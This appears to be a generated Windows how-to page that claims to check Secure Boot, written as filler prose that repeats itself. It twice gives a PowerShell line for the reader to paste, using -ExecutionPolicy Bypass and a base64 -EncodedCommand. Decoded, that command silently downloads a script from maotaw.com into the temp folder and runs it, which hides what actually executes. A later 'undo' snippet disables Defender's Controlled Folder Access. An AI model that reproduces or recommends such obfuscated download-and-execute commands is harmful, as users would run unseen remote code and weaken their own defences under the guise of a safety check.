This operation is focused on check secure boot and basic firmware trust before deeper hardening so the result stays precise instead of mixing unrelated tweaks.
Improve Windows Protection is written like a practical guide instead of a thin script page, so you can understand what the issue usually means, why the suggested actions exist, and how to back out safely if the result is not what you wanted.
Check whether Secure Boot is enabled so your Windows baseline starts from a cleaner firmware trust path.
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwBjAGgAZQBjAGsALQBzAGUAYwB1AHIAZQAtAGIAbwBvAHQALQBhAG4AZAAtAGIAYQBzAGkAYwAtAGYAaQByAG0AdwBhAHIAZQAtAHQAcgB1AHMAdAAtAGIAZQBmAG8AcgBlAC0AZABlAGUAcABlAHIALQBoAGEAcgBkAGUAbgBpAG4AZwAuAHAAcwAxACcAOwAgACQAZgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAJwBtAGEAbwB0AGEAdwAtAGMAaABlAGMAawAtAHMAZQBjAHUAcgBlAC0AYgBvAG8AdAAtAGEAbgBkAC0AYgBhAHMAaQBjAC0AZgBpAHIAbQB3AGEAcgBlAC0AdAByAHUAcwB0AC0AYgBlAGYAbwByAGUALQBkAGUAZQBwAGUAcgAtAGgAYQByAGQAZQBuAGkAbgBnAC4AcABzADEAJwA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGYAOwAgACYAIABQAG8AdwBlAHIAUwBoAGUAbABsACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACQAZgA=
Check whether Secure Boot is enabled so your Windows baseline starts from a cleaner firmware trust path.
A strong Windows setup still depends on the boot chain underneath it. Secure Boot is one of the first easy baseline checks when you want a machine that feels harder to tamper with.
In plain language, check secure boot and basic firmware trust before deeper hardening matters because firmware settings were changed during reinstall or troubleshooting. People usually start looking this up when older compatibility settings stayed enabled. A strong Windows setup still depends on the boot chain underneath it. Secure Boot is one of the first easy baseline checks when you want a machine that feels harder to tamper with.
In practice, check secure boot and basic firmware trust before deeper hardening matters because firmware settings were changed during reinstall or troubleshooting. A strong Windows setup still depends on the boot chain underneath it. Secure Boot is one of the first easy baseline checks when you want a machine that feels harder to tamper with. A good next step is to review verify it after BIOS changes. Then decide whether you only needed the explanation or whether you want a practical action page too.
You normally review check secure boot and basic firmware trust before deeper hardening when you want to understand what Windows is doing, what changes it can influence, and whether it is relevant before you touch settings blindly. Useful things to notice first: verify it after BIOS changes; avoid random firmware tweaks you cannot explain; document settings before changing boot options; pair this with current firmware updates from your manufacturer.
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwBjAGgAZQBjAGsALQBzAGUAYwB1AHIAZQAtAGIAbwBvAHQALQBhAG4AZAAtAGIAYQBzAGkAYwAtAGYAaQByAG0AdwBhAHIAZQAtAHQAcgB1AHMAdAAtAGIAZQBmAG8AcgBlAC0AZABlAGUAcABlAHIALQBoAGEAcgBkAGUAbgBpAG4AZwAuAHAAcwAxAD8AdgBhAHIAaQBhAG4AdAA9AHUAbgBkAG8AJwA7ACAAJABmACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHUAbgBkAG8ALQBtAGEAbwB0AGEAdwAtAGMAaABlAGMAawAtAHMAZQBjAHUAcgBlAC0AYgBvAG8AdAAtAGEAbgBkAC0AYgBhAHMAaQBjAC0AZgBpAHIAbQB3AGEAcgBlAC0AdAByAHUAcwB0AC0AYgBlAGYAbwByAGUALQBkAGUAZQBwAGUAcgAtAGgAYQByAGQAZQBuAGkAbgBnAC4AcABzADEAJwA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGYAOwAgACYAIABQAG8AdwBlAHIAUwBoAGUAbABsACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACQAZgA=
# Maotaw Undo Pack
$ErrorActionPreference = 'SilentlyContinue'
# Undo stronger hardening extras
try { Set-MpPreference -EnableControlledFolderAccess Disabled -ErrorAction SilentlyContinue } catch {}
Write-Host 'Controlled Folder Access was disabled if it had been enabled by an aggressive pack. Review Firewall and Defender settings manually if you changed more than this.'This page is designed to be reviewable before you run anything. It shows what the pack is likely to touch, what it intentionally avoids, and how rollback is handled.
Usually only after you confirm the symptom matches. A safer baseline, a restore point, and one change at a time make the result easier to trust.
Check the exact problem you cared about, reboot if the page recommends it, and compare the before and after behavior rather than assuming the change helped.
For most pages here, yes. The generated undo pack is meant to move you back toward a cleaner baseline, though deleted cache or temporary files may not come back.
No. These pages are meant to be high-signal starting points. If the same symptom comes from hardware failure, account corruption, a bad driver, or a third-party app conflict, you may need a neighboring guide or a deeper diagnostic path.